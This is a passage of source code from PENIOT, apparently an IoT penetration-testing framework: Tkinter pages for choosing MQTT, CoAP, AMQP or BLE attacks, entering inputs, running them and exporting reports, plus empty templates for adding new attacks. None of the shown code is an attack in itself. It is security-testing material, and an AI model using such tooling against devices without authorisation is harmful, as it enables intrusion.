CustomLabel(self, text="Attack Suite Name:", row=row, column=1, sticky=E)
attack_suite_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)
row = row + 1
CustomLabel(self, text="File Path:", row=row, column=1, sticky=E)
file_path_entry = Entry(self, font=("Arial", 15))
file_path_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)
CustomButton(self, "Select File Path", lambda: get_file_path(file_path_entry), row, None, W, 4, height=1)
row = row + 1
CustomLabel(self, text="File Name:", row=row, column=1, sticky=E)
file_name_entry = Entry(self, font=("Arial", 15))
file_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2)
row = row + 1
rad_var = IntVar()
for export_index, export_option in enumerate(ExportUtil.get_export_texts_and_values()):
export_value = export_option.get("value")
if export_index == 0:
rad_var.set(export_value)
CustomRadiobutton(self, text=export_option.get("text"), row=row, column=2, sticky=W + S, variable=rad_var,
value=export_value)
row = row + 1
CustomButton(self, "Export",
lambda: export_button_click(protocol_name=protocol_name_entry.get(),
attack_name=attack_name_entry.get(),
attack_suite_name=attack_suite_name_entry.get(),
file_path=file_path_entry.get(),
file_name=file_name_entry.get(), extension=rad_var.get(),
option=option),
row, None, W, 4)
for col in range(5):
self.columnconfigure(col, weight=1)
for row in range(8):
self.rowconfigure(row, weight=1)
self.grid()
def get_file_path(entry):
self.file_path = tkFileDialog.askdirectory()
entry.delete(0, END)
entry.insert(0, self.file_path)
def export_button_click(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option):
try:
if not os.path.exists(file_path):
pop_up_window(root, None, "Please enter a valid file path.")
return
ExportUtil.export_action(protocol_name=protocol_name,
attack_name=attack_name,
attack_suite_name=attack_suite_name,
file_path=file_path,
file_name=file_name, extension=extension,
option=option)
pop_up_window(root, None, "Files are exported successfully.")
except Exception as e:
pop_up_window(root, None, "Export operation is failed because of\n{0}".format(e), justify=CENTER)
class ExtensionHelp(Frame):
"""
This page gives detailed information on how to extend PENIOT.
"""
def __init__(self, parent_window):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Create the header
Header(self).grid(row=0)
# information about us
extension_info = Label(self, text=get_extension_help(), width=70, justify=CENTER, font=("Arial", 15), height=10)
extension_info.grid(row=1)
extension_info.configure(background=window_background_color)
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 2)
# Make it visible
self.grid()
class AttacksPage(Frame):
"""
This page displays the possible attacks for the selected protocol.
"""
def __init__(self, parent_window, protocol):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Set the selected protocol
self.protocol = protocol
# Create the header
Header(self).grid(row=0)
# Get protocol's attack suites
attacks_suites = get_attacks(protocol["package_name"])
# current row index
row_index = 1
# Create a button for each attack
for attack_suite in attacks_suites:
if isinstance(attack_suite, Attack):
# Create the button for the attack
CustomButton(self, attack_suite.get_attack_name(),
lambda selected_attack=attack_suite: change_frame(self,
AttackDetailsPage(root,
self.protocol,
selected_attack,
None)),
row_index)
# Increment the row index
row_index = row_index + 1
elif isinstance(attack_suite, AttackSuite):
# Create the button for the attack suite
CustomButton(self, attack_suite.get_attack_suite_name(),
lambda selected_attack_suite=attack_suite: change_frame(self,
AttackSuiteDetailsPage(root,
self.protocol,
selected_attack_suite)),
row_index)
# Increment the row index
row_index = row_index + 1
if not is_default_protocol(self.protocol["protocol"].get_protocol_name()):
# Back to attack selection page button
CustomButton(self, "Delete Protocol", lambda: self.delete_protocol(), row_index, foreground="red")
row_index = row_index + 1
# Back to menu button
CustomButton(self, back_to_menu_label, lambda: change_frame(self, ProtocolsPage(root)), row_index)
# Make it visible
self.grid()
def delete_protocol(self):
is_successful = delete_protocol(self.protocol["protocol"].get_protocol_name())
if is_successful:
change_frame(self, ProtocolsPage(root))
class AttackSuiteDetailsPage(Frame):
"""
This page displays the details of the selected attack suite.
"""
def __init__(self, parent_window, protocol, attack_suite):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Set the selected protocol
self.protocol = protocol
# Set the selected attack suite
self.attack_suite = attack_suite
# Create the header
Header(self).grid(row=0, columnspan=2)
# row index
row_index = 1
# Create buttons for attacks
for attack_in_suite in attack_suite.get_attacks():
# Create the button for the attack
CustomButton(self, attack_in_suite.get_attack_name(),
lambda selected_attack=attack_in_suite: change_frame(self,
AttackDetailsPage(root, self.protocol,
selected_attack,
attack_suite)),
row_index, 2)
# Increment row index
row_index = row_index + 1
# Back to attack selection page button
CustomButton(self, back_to_attack_selection_page, lambda: change_frame(self, AttacksPage(root, self.protocol)),
row_index, 2)
# Make it visible
self.grid()
class AttackDetailsPage(Frame):
"""
This page displays the details of the selected attack.
"""
def __init__(self, parent_window, protocol, attack, attack_suite):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Set the selected protocol
self.protocol = protocol
# Set the attack suite
self.attack_suite = attack_suite
# Set the selected attack
self.attack = attack
# Create the header
Header(self).grid(row=0, columnspan=2)
# Definition of the attack
attack_definition = Label(self, text=self.attack.get_definition(), width=70, justify=CENTER,
font=("Arial", 15),
height=10)
attack_definition.grid(row=1)
attack_definition.configure(background=window_background_color)
# Back to the previous page
if self.attack_suite is None:
# Back to attack selection page button
CustomButton(self, back_to_attack_selection_page,
lambda: change_frame(self, AttacksPage(root, self.protocol)),
2, None, W)
else:
# Back to attack suite details page button
CustomButton(self, back_to_attack_suite_page,
lambda: change_frame(self, AttackSuiteDetailsPage(root, self.protocol, attack_suite)),
2, None, W)
if not is_default_protocol(self.protocol["protocol"].get_protocol_name()):
# Delete attack button
CustomButton(self, "Delete Attack", lambda: self.delete_attack(), 2, foreground="red")
# Go to input page button
CustomButton(self, go_to_input_page,
lambda: change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite)),
2, None, E)
# Make it visible
self.grid()
def delete_attack(self):
is_successful = delete_attack(self.attack.get_attack_name())
if is_successful:
# Back to the previous page
if self.attack_suite is None:
# Back to attack selection page button
change_frame(self, AttacksPage(root, self.protocol))
else:
# Back to attack suite details page button
change_frame(self, AttackSuiteDetailsPage(root, self.protocol, self.attack_suite))
class InputsPage(Frame):
"""
This page is used to get inputs from the user.
"""
def __init__(self, parent_window, protocol, attack, attack_suite):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Set the selected protocol
self.protocol = protocol
# Set the attack suite
self.attack_suite = attack_suite
# Set the selected attack
self.attack = attack
# file path if necessary
self.file_path = ""
# Create the header
Header(self).grid(row=0, columnspan=3)
# Inputs of the attack
row_index = 1
# Get inputs
self.inputs = self.attack.get_inputs()
# Create an empty list for input values
self.input_values = []
# For each input, create a Label-Entity pair
for _input in self.inputs:
label = Label(self, text=_input.get_label_name())
label.grid(row=row_index)
label.configure(background=window_background_color)
# Create a StringVar for the input
string_var = StringVar(value=str(_input.get_value()))
# Add it to the list
self.input_values.append(string_var)
# Create an entry for the input
if _input.is_secret():
# Bind it to the string var
entry = Entry(self, show="*", textvariable=string_var)
else:
# Bind it to the string var
entry = Entry(self, textvariable=string_var)
entry.grid(row=row_index, column=1)
if _input.is_mandatory():
entry.configure(background=mandatory_fields_background_color)
else:
entry.configure(background=window_background_color)
if _input.is_from_captured_packets():
CustomButton(self, "Select File", lambda: self.get_file_path(entry), row_index, None, W, 2,
height=1)
# Increment the row index
row_index = row_index + 1
# Back to attack details page button
CustomButton(self, back_to_attack_details,
lambda: change_frame(self,
AttackDetailsPage(root, self.protocol, self.attack, self.attack_suite)),
row_index, None,
None, 0)
# Perform the attack page button
CustomButton(self, perform_attack, lambda: self.navigate_to_attack_reporting_page(), row_index, None,
None, 1)
# Set default parameters of the current protocol
row_index += 1
CustomButton(self, load_default_parameters, lambda: (
self.attack.load_default_parameters(),
self.load_default_parameters_to_variables()
), row_index, 2, None, None)
# Make it visible
self.grid()
def get_file_path(self, entry):
path_to_captured_packets = os.path.dirname(os.path.abspath(__file__)) + "/../captured_packets"
self.file_path = tkFileDialog.askopenfilename(initialdir=path_to_captured_packets,
filetypes=[("pcap-files", "BLE*.pcap")])
entry.delete(0, END)
entry.insert(0, self.file_path)
def set_input_values(self):
"""
This function sets the values of the inputs using the self.input_values field.
"""
for i in range(0, len(self.inputs)):
# Get the input from the user
value = self.input_values[i].get()
# If this is a mandatory field, but user did not provide any value for it,
# Then simply create a pop-up explaining the situation
if self.inputs[i].is_mandatory() and value.strip() is "":
pop_up_window(root, "Input Validation",
"Please, be sure that you provide valid values for the mandatory fields.")
# input validation failed
return False
# If the user provide a value for the input, use it
# Otherwise, use the default one
if value is not "":
# convert string to the expected type
try:
value = InputsPage._check_value_type(self.inputs[i], value)
except Exception:
return False
else:
value = self.inputs[i].get_default_value()
# Set the value
self.inputs[i].set_value(value)
return True
def navigate_to_attack_reporting_page(self):
"""
This function is called when we want to start testing
"""
# Set the input values
is_valid = self.set_input_values()
# If we have valid inputs, then continue with the attack
if is_valid:
# Change page to the attack reporting page
change_frame(self, AttackReportingPage(root, self.protocol, self.attack, self.attack_suite))
else:
pop_up_window(root, "Input Validation",
"Please, be sure that you provide valid values for input fields.")
def load_default_parameters_to_variables(self):
for _input_index, _input in enumerate(self.inputs):
self.input_values[_input_index].set(str(_input.get_value()))
@staticmethod
def _check_value_type(_input, _value):
try:
if _input.type == bool:
return CommonUtil.get_boolean_value(_value)
else:
return _input.type(_value)
except TypeError as _:
raise _
class AttackReportingPage(Frame):
"""
This page is used to show the results of the attack.
"""
def __init__(self, parent_window, protocol, attack, attack_suite):
Frame.__init__(self, parent_window)
# Configure the window
self.configure(background=window_background_color)
# Set the selected protocol
self.protocol = protocol
# Set the attack suite
self.attack_suite = attack_suite
# Set the selected attack
self.attack = attack
# Create the header
Header(self).grid(row=0, columnspan=2)
# Create the console
self.console = Text(self)
self.console.grid(row=1, columnspan=2, sticky="nsew")
self.console.configure(background=console_background_color, foreground=console_foreground_color, wrap='word')
# Change the default output stream
sys.stdout = self
# Change the default input stream
sys.stdin = self
# Create a stream handler
stream_handler = logging.StreamHandler(self)
stream_handler.setLevel(logging.INFO)
# Create a formatter
formatter = logging.Formatter(logging_format)
stream_handler.setFormatter(formatter)
# Create a logger
self.logger = logging.getLogger(logger_name)
self.logger.addHandler(stream_handler)
# Start the testing after 1 seconds. Create a Timer object so we can stop execution later
self.timer = Timer(1.0, self.perform_attack)
self.timer.start()
# Stop the attack and back to menu button
CustomButton(self, stop_attack_go_back, lambda: self.attack_stopper(), 2, 1, None, 0)
CustomButton(self, generate_report, lambda: self.report_generator(), 2, 1, None, 1)
# Make it visible
self.grid()
# Override write function
def write(self, text):
self.console.insert(END, str(text))
# Change the state of the console to Disabled so that nobody can write
# Update the tasks so that the user can see the logs
self.update_idletasks()
# Override readline function
def readline(self):
return_value = None
while return_value is None:
# Get the return value
return_value = self.get_number()
# continue until we have a valid return value
if return_value is None:
continue
return return_value
# Used to get user selection for BLE sniffing attack
def get_number(self):
return_value = None
text = self.console.get(1.0, END)[::-1].encode("ascii")
if text[0] == '\n' and text[1] == '\n':
for i in text:
if i == ">":
break
elif str.isdigit(i):
if return_value is None:
return_value = ""
return_value = i + return_value
return return_value
def perform_attack(self):
# Start message
self.logger.info("Performing the attack")
# Run the attack
self.attack.run()
# Exit message
self.logger.info("Attack is performed successfully")
# Define the attack stopper function to end attacks
def attack_stopper(self):
# Remove handlers
self.attack.stop_attack() # Call the underlying attack's own stopper
for handler in self.logger.handlers:
handler.close()
self.logger.removeHandler(handler)
# There will be some more changes here to close open pipes and so on.
# Then, change the frame and go back
change_frame(self, InputsPage(root, self.protocol, self.attack, self.attack_suite))
def report_generator(self):
directory = tkFileDialog.askdirectory()
try:
if type(directory) == str and len(directory) > 0:
directory = directory if directory.endswith('/') else directory + '/'
GenerateReport.generate_pdf_from_text(
self.protocol['protocol'].get_protocol_name(),
self.attack.get_attack_name(),
self.console.get("1.0", END),
directory
)
pop_up_window(root, None, 'Report is successfully generated.', justify=CENTER)
except Exception as e:
pop_up_window(root, None, 'Report cannot be generated properly.\nPlease check given directory path.',
justify=CENTER)
def run():
# Create the root window
root = create_root()
# Create HomePage and make it the current window
HomePage(root).tkraise()
root.mainloop()
================================================
FILE: src/GUI/utils.py
================================================
# This file contains methods which are used in the GUI.
import importlib
import inspect
import os
import pkgutil
import shutil
from Tkinter import *
from hard_coded_texts import project_title, window_size, window_background_color
from Utils.ExtendUtil.import_util import ImportUtil
# list of default protocols
DEFAULT_PROTOCOLS = ["MQTT", "CoAP", "AMQP", "BLE"]
def is_default_protocol(protocol_name):
"""
Check whether the given protocol is default or not
"""
if DEFAULT_PROTOCOLS.__contains__(protocol_name):
return True
return False
def delete_protocol(protocol_name):
"""
Deletes the given protocol
"""
path_to_protocol = os.path.dirname(os.path.abspath(__file__)) + "/../protocols/" + protocol_name
shutil.rmtree(path_to_protocol)
return True
def delete_attack(attack_name):
"""
Deletes the given attack
"""
# Get the protocol name
protocol_name = attack_name[:attack_name.index(" ")]
# Get the attack real name
# Remove protocol name
attack_name = attack_name[attack_name.index(" ") + 1:]
# Remove 'Attack' label at the end
attack_name = attack_name[:attack_name.index(" ")]
# Delete the attack
path_to_attack = os.path.dirname(
os.path.abspath(__file__)) + "/../protocols/" + protocol_name + "/attacks/" + attack_name
shutil.rmtree(path_to_attack)
return True
def pop_up_window(root, protocol_name, definition, justify=LEFT):
"""
A pop up message generator.
"""
popup = Toplevel(root)
# Prevent pop-up from resizing
popup.resizable(False, False)
popup.wm_title(protocol_name)
label = Label(popup, text=definition, anchor=W, font=("Arial", 10), justify=justify, wraplength=800)
# A pop-up with protocol name on top and definition below
label.pack(side="top", fill="both", pady=10)
button1 = Button(popup, text="OK", command=popup.destroy)
button1.pack(expand=True, fill=BOTH)
# Prohibits any other window to accept events
popup.grab_set()
# Center the window
center_widget(popup)
popup.mainloop()
def get_protocols():
"""
it simply searches for the subclasses of Protocol class and returns the all protocols
"""
# Available protocols
protocols = []
# Base package to start searching for protocols
packages = ["src.protocols"]
# Continue to search until no package is available
while len(packages) > 0:
# Get the package
package = packages.pop()
# Get the package module
package_module = importlib.import_module(package)
prefix = package_module.__name__ + "."
for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix):
# If it is a package, add it to the package list
if ispkg:
packages.append(name)
else:
# For some modules, we may have errors, skip those errors for now
try:
mod = importlib.import_module(name)
except ImportError:
continue
for tname, klass in inspect.getmembers(mod):
if inspect.isclass(klass):
# If the class inherits from Protocol class, simply add it to the protocol list
if "Protocol" in [c.__name__ for c in inspect.getmro(klass)[1:]]:
protocols.append({"package_name": package, "protocol": klass()})
return protocols
def get_attacks(package_name):
"""
it simply searches for the subclasses of Attack class in the given package and returns the attacks
"""
# Available attack names
attack_names = []
# Available attack suites
attack_suites = []
# Available attacks
attacks = []
# Base package to start searching for protocols
packages = [package_name + ".attacks"]
# Continue to search until no package is available
while len(packages) > 0:
# Get the package
package = packages.pop()
package_module = importlib.import_module(package)
prefix = package_module.__name__ + "."
for finder, name, ispkg in pkgutil.iter_modules(package_module.__path__, prefix):
# If it is a package, add it to the package list
if ispkg:
packages.append(name)
else:
try:
mod = importlib.import_module(name)
except ImportError:
continue
for tname, klass in inspect.getmembers(mod):
if inspect.isclass(klass):
# If the class inherits from Attack class, simply add it to the attack list
if "Attack" in [c.__name__ for c in inspect.getmro(klass)[1:]]:
attack = klass()
# check whether we have this attack in the list or not
if not attack_names.__contains__(attack.get_attack_name()):
attacks.append(attack)
attack_names.append(attack.get_attack_name())
# If the class inherits from AttackSuite class, simply add it to the Attack suite list
if "AttackSuite" in [c.__name__ for c in inspect.getmro(klass)[1:]]:
attack_suite = klass()
attack_suites.append(attack_suite)
# Remove attack names included in the attack suites
for attack_suite in attack_suites:
for attack in attack_suite.get_attacks():
if attack_names.__contains__(attack.get_attack_name()):
attack_names.remove(attack.get_attack_name())
# Final list of available attacks
available_attacks = []
# Retrieve attack whose name is included in the attack name list
for attack in attacks:
for attack_name in attack_names:
if attack.get_attack_name() == attack_name:
available_attacks.append(attack)
break
# Add attack suites to the available attacks
for attack_suite in attack_suites:
available_attacks.append(attack_suite)
return available_attacks
def get_captured_packet_files():
"""
Retrieves the files containing saved captured packets
"""
# Names of the files
file_names = []
# Search files in the src.captured_packets package
path_to_package = os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets"
for root, dirs, files in os.walk(path_to_package):
for filename in files:
# Only get .txt files
if filename.endswith(".pcap") or filename.endswith(".txt"):
file_names.append(filename)
return file_names
def change_frame(old_frame, new_frame):
"""
This function is used to change the frame.
Firstly, we have to delete the old frame. Then, we start to use new one.
"""
# Destroy old frame
old_frame.grid_forget()
old_frame.destroy()
# New frame
new_frame.tkraise()
def create_root():
"""
It creates the root window.
"""
# Create the root window
root = Tk()
# Root window related settings
root.title(project_title)
root.geometry(window_size)
root.configure(background=window_background_color)
root.resizable(False, False)
# Center the window
center_widget(root)
startup_calls()
root.protocol("WM_DELETE_WINDOW", lambda: shutdown_calls(root))
return root
def center_widget(window):
"""
Used to center the given window on the screen
"""
# Render the window to get correct width and height
window.update()
# Make window invisible so that we will have a smooth transition from upper left side to center
window.withdraw()
# Get window size settings
width_of_window = window.winfo_width()
height_of_window = window.winfo_height()
# Get screen size settings
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()
# Calculate the x and y coordinates
x_coordinate = (screen_width / 2) - (width_of_window / 2)
y_coordinate = (screen_height / 2) - (height_of_window / 2)
# Set the geometry
window.geometry("%dx%d+%d+%d" % (width_of_window, height_of_window, x_coordinate, y_coordinate))
# Make the window visible
window.deiconify()
def startup_calls():
"""
Initialize program dependent modules to make program prepared for all operations
"""
ImportUtil.startup()
def shutdown_calls(root):
"""
Register method callback to call necessary ending operations
"""
ImportUtil.shutdown()
root.destroy()
================================================
FILE: src/Utils/CommonUtil/__init__.py
================================================
"""
Common Utilities
It contains necessary functionalities used commonly in project.
"""
import datetime
def get_current_datetime_for_filename_format():
return datetime.datetime.now().strftime("%Y-%m-%d_%H:%M:%S")
def get_current_datetime_for_report_format():
return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def get_boolean_value(bool_str):
bool_str = str(bool_str)
true_list = ["1", "true", "yes", "t", "y"]
if bool_str.lower() in true_list:
return True
false_list = ["0", "false", "no", "f", "n"]
if bool_str.lower() in false_list:
return False
raise TypeError("Invalid input for bool type!")
================================================
FILE: src/Utils/ExtendUtil/__init__.py
================================================
"""
Extendability Utilities
It contains necessary functionality used for importing and exporting scripts.
"""
================================================
FILE: src/Utils/ExtendUtil/export_attack_suite_template.py
================================================
#################################################################################
# IMPORTANT WARNING #
# This file is prepared to be guidance for you while implementing your protocol #
# attack or attack suite. You can extend PENIOT with your implementations by #
# filling necessary fields properly, then you can perform what you have created.#
# To achieve this successfully, fill the following code segment carefully and #
# keep compulsory code fields without changing their signatures so that PENIOT #
# could extend itself with your code and work properly. #
#################################################################################
# Do not change any of the import statements, we will provide their contents to you
# Moreover, you do not need to export any other file than your attack suite
from Entity.attack_suite import AttackSuite
class _ATTACK_SUITE_COMBINED_NAME(AttackSuite):
def __init__(self):
attacks = [
# List the wanted attack here to package them in a single entity
]
# Auto generated attack suite name, you can change attack name to be displayed in graphical user interface
attack_suite_name = "_ATTACK_SUITE_NAME"
AttackSuite.__init__(self, attack_suite_name, attacks)
================================================
FILE: src/Utils/ExtendUtil/export_attack_template.py
================================================
#################################################################################
# IMPORTANT WARNING #
# This file is prepared to be guidance for you while implementing your protocol #
# attack or attack suite. You can extend PENIOT with your implementations by #
# filling necessary fields properly, then you can perform what you have created.#
# To achieve this successfully, fill the following code segment carefully and #
# keep compulsory code fields without changing their signatures so that PENIOT #
# could extend itself with your code and work properly. #
#################################################################################
# Do not change any of the import statements, we will provide their contents to you
# Moreover, you do not need to export any other file than your attack
import logging
from Entity.attack import Attack
class _ATTACK_COMBINED_NAME(Attack):
"""
Input Fields
** Important Note **: Each input must appear in the following lines of code for example, you can have following
configuration in attack input list
* For input format class, you need to fill following fields:
1) Label of input to be displayed in GUI
2) Name of member variable in this class, they need to match with following declarations
3) If exist, default value. You may set it "" or None
4) Type of input value to check/cast
inputs = [
InputFormat("Port Number", "port", self.port, int),
InputFormat("Timeout", "timeout", self.timeout, float)
...
]
* Then your attack class must have following member variables (Values are used for exemplifying)
port = 8080
timeout = 0.01
...
"""
"""
Miscellaneous Members
You can much more of them here to internally use
"""
logger = None
def __init__(self):
inputs = [
# You need to decide inputs to be taken from graphical user interface to conduct attack
]
# Auto generated attack name, you can change attack name to be displayed in graphical user interface
attack_name = "_ATTACK_NAME"
# Auto generated attack description, you can change or add description for the new attack,
# you can browse it from ? button nearby attacks in attack menu
description = "_ATTACK_NAME Description"
Attack.__init__(self, attack_name, inputs, description)
# Simple logger and registration
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
self.logger = logging.getLogger("_ATTACK_NAME")
def pre_attack_init(self):
# You can preliminary processes here such as client initialization, sniffing of packets or similar processes
pass
def run(self):
# DO NOT REMOVE!
# Necessary to initiate obtained input values
super(_ATTACK_COMBINED_NAME, self).run()
# Optional field if the attack needs preliminary procedure to be done
self.pre_attack_init()
# Implement attack here
# The code segment below this line will be executed when you click Run Attack button
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" ||| Attack Content HERE ||| "
" vvv vvv "
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
pass
================================================
FILE: src/Utils/ExtendUtil/export_protocol_template.py
================================================
#################################################################################
# IMPORTANT WARNING #
# This file is prepared to be guidance for you while implementing your protocol #
# attack or attack suite. You can extend PENIOT with your implementations by #
# filling necessary fields properly, then you can perform what you have created.#
# To achieve this successfully, fill the following code segment carefully and #
# keep compulsory code fields without changing their signatures so that PENIOT #
# could extend itself with your code and work properly. #
#################################################################################
# Do not change any of the import statements, we will provide their contents to you
# Moreover, you do not need to export any other file than your protocol
from Entity.protocol import Protocol
"""
Note: You need to put your attack implementations to the attack directory that you
can find in root path of created archive. Do not forget this since we are parsing
that directory to import attack dynamically.
"""
class _PROTOCOL_NAME(Protocol):
def __init__(self):
# Auto generated name with respect to your protocol name input
# If you want, you can change it, it will be showed in protocol menu
protocol_name = "_PROTOCOL_NAME"
# You should write definition of exported protocol
# In case of writing, you can view protocol definition
# by clicking question-mark-icon button while selecting target protocol
protocol_definition = "_PROTOCOL_NAME Definition"
# You need to add your attacks to this list in order to view and instantiate them while performing your attacks
attack_suites = [
# Add attacks or attack suites
]
# Call parent constructor with following parameters
# 1) Attack name to be displayed in GUI
# 2) Attacks or attack suites to perform regression and penetration
# 3) Protocol definition to be displayed in GUI
Protocol.__init__(self, protocol_name, attack_suites, protocol_definition)
================================================
FILE: src/Utils/ExtendUtil/export_util.py
================================================
from enum import Enum
from Utils.RandomUtil import random_generated_names as random_util
import logging
import os
import re
import tarfile
import zipfile
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("Util - Export")
class ExportTypes(Enum):
"""
Enumeration types for export modes
"""
ZIP = 0
TAR_GZ = 1
class ExportOptions(Enum):
"""
Enumeration types for export options such as Protocol, Attack or Attack Suite
"""
PROTOCOL = 0
ATTACK = 1
ATTACK_SUITE = 2
# noinspection PyBroadException
class ExportUtil(object):
# Base path
BASE_PATH = os.path.dirname(os.path.abspath(__file__))
# Export Protocol Constants
EXPORT_PROTOCOL_TEMPLATE_NAME = BASE_PATH + "/export_protocol_template.py"
EXPORT_PROTOCOL_NAME_REGEX = "_PROTOCOL_NAME"
# Export Attack Constants
EXPORT_ATTACK_TEMPLATE_NAME = BASE_PATH + "/export_attack_template.py"
EXPORT_ATTACK_NAME_REGEX = "_ATTACK_NAME"
EXPORT_COMBINED_ATTACK_NAME_REGEX = "_ATTACK_COMBINED_NAME"
# Export Attack Suite Constants
EXPORT_ATTACK_SUITE_TEMPLATE_NAME = BASE_PATH + "/export_attack_suite_template.py"
EXPORT_ATTACK_SUITE_NAME_REGEX = "_ATTACK_SUITE_NAME"
EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX = "_ATTACK_SUITE_COMBINED_NAME"
@staticmethod
def get_export_texts_and_values():
return [
{"text": ".zip", "value": ExportTypes.ZIP},
{"text": ".tar.gz", "value": ExportTypes.TAR_GZ}
]
@staticmethod
def export_function_factory(export_type):
"""
Export function factory to decide method of archive
:type export_type: ExportTypes
:return: Corresponding export function
"""
if export_type == ExportTypes.TAR_GZ:
return ExportUtil.export_files_with_tar
else:
return ExportUtil.export_files_with_zip
@staticmethod
def export_files_with_zip(output_name, list_of_files, output_path="./"):
if not output_name.endswith(".zip"):
output_name = output_name + ".zip"
zf = zipfile.ZipFile(output_path + output_name, mode='w')
for _file in list_of_files:
try:
logger.info("File {0} is added to {1}".format(_file, output_name))
if len(_file) == 2:
# Create file
zf.write(_file[0], _file[1])
else:
# Create directory
zf.writestr(zipfile.ZipInfo(_file[0]), '')
except RuntimeError as _:
logger.error("Error has occurred while compressing file {0}".format(_file[0]))
zf.close()
@staticmethod
def export_files_with_tar(output_name, list_of_files, output_path="./"):
if not output_name.endswith(".tar.gz"):
output_name = output_name + ".tar.gz"
tar = tarfile.open(output_path + output_name, "w:gz")
for _file in list_of_files:
try:
logger.info("File {0} is added to {1}".format(_file, output_name))
if len(_file) == 2:
# Create file
tar.add(_file[0], _file[1])
else:
# Create directory
t = tarfile.TarInfo(_file[0])
t.type = tarfile.DIRTYPE
tar.addfile(t)
except RuntimeError as _:
logger.error("Error has occurred while compressing file {0}".format(_file[0]))
tar.close()
@staticmethod
def export_protocol(protocol_name, export_path, export_type, output_name):
temporary_file_name = None
try:
logger.info("Exporting protocol is started.")
# Check whether output name has any possible naming
if len(output_name.split(".")[0].strip()) == 0:
output_name = protocol_name
temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(
template_name=ExportUtil.EXPORT_PROTOCOL_TEMPLATE_NAME,
regex_list=[
(ExportUtil.EXPORT_PROTOCOL_NAME_REGEX, protocol_name)
]
)
# Decide function and export with respect to corresponding archive
export_func = ExportUtil.export_function_factory(export_type)
export_func(
output_name,
[ # [0] represents actual file path and [1] represents the name of file in compressed file
(ExportUtil.BASE_PATH + "/../../Entity/protocol.py", "protocol.py"),
(temporary_file_name, protocol_name + "_protocol.py"),
(temporary_file_name, "__init__.py"),
("attacks/__init__.py",)
],
export_path
)
logger.info("Exporting protocol is finished.")
except Exception as _:
logger.error("Error has occurred while exporting protocol.")
finally:
if temporary_file_name is not None:
# Remove temporary file
os.remove(temporary_file_name)
@staticmethod
def export_attack(protocol_name, attack_name, export_path, export_type, output_name):
temporary_file_name = None
try:
logger.info("Exporting attack is started.")
# Check whether output name has any possible naming
if len(output_name.split(".")[0].strip()) == 0:
output_name = protocol_name + "_" + attack_name
temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(
template_name=ExportUtil.EXPORT_ATTACK_TEMPLATE_NAME,
regex_list=[
(ExportUtil.EXPORT_ATTACK_NAME_REGEX, protocol_name + " " + attack_name + " Attack"),
(ExportUtil.EXPORT_COMBINED_ATTACK_NAME_REGEX, protocol_name + attack_name + "Attack")
]
)
# Decide function and export with respect to corresponding archive
export_func = ExportUtil.export_function_factory(export_type)
export_func(
output_name,
[ # [0] represents actual file path and [1] represents the name of file in compressed file
(ExportUtil.BASE_PATH + "/../../Entity/attack.py", "attack.py"),
(ExportUtil.BASE_PATH + "/../../Entity/input_format.py", "input_format.py"),
(temporary_file_name, protocol_name + "_" + attack_name + "_attack.py"),
(temporary_file_name, "__init__.py",)
],
export_path
)
logger.info("Exporting attack is finished.")
except Exception as _:
logger.error("Error has occurred while exporting attack.")
finally:
if temporary_file_name is not None:
# Remove temporary file
os.remove(temporary_file_name)
@staticmethod
def export_attack_suite(protocol_name, attack_suite_name, export_path, export_type, output_name):
temporary_file_name = None
try:
logger.info("Exporting attack suite is started.")
# Check whether output name has any possible naming
if len(output_name.split(".")[0].strip()) == 0:
output_name = protocol_name + "_" + attack_suite_name + "_suite"
temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(
template_name=ExportUtil.EXPORT_ATTACK_SUITE_TEMPLATE_NAME,
regex_list=[
(ExportUtil.EXPORT_ATTACK_SUITE_NAME_REGEX, protocol_name + " "
+ attack_suite_name + " Attack Suite"),
(ExportUtil.EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX, protocol_name
+ attack_suite_name + "AttackSuite")
]
)
# Decide function and export with respect to corresponding archive
export_func = ExportUtil.export_function_factory(export_type)
export_func(
output_name,
[ # [0] represents actual file path and [1] represents the name of file in compressed file
(ExportUtil.BASE_PATH + "/../../Entity/attack_suite.py", "attack_suite.py"),
(temporary_file_name, protocol_name + "_" + attack_suite_name + "_attack_suite.py"),
(temporary_file_name, "__init__.py",)
],
export_path
)
logger.info("Exporting attack suite is finished.")
except Exception as _:
logger.error("Error has occurred while exporting attack.")
finally:
if temporary_file_name is not None:
# Remove temporary file
os.remove(temporary_file_name)
@staticmethod
def _create_temporary_file_and_replace_regex(template_name=None, regex_list=None):
if regex_list is None:
regex_list = []
# Read template
with open(template_name, "r") as export_template_file:
content = export_template_file.read()
temporary_file_name = random_util.get_random_file_name()
content_replaced = \
ExportUtil._replace_regex(content, regex_list)
# Write template to temporary file
with open(temporary_file_name, "w") as temporary_file:
temporary_file.write(content_replaced)
return temporary_file_name
@staticmethod
def _replace_regex(content, substitution_list_as_tuples):
for pair in substitution_list_as_tuples:
content = re.sub(pair[0], pair[1], content)
return content
@staticmethod
def export_action(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option):
file_path = file_path if file_path.endswith("/") else file_path + "/"
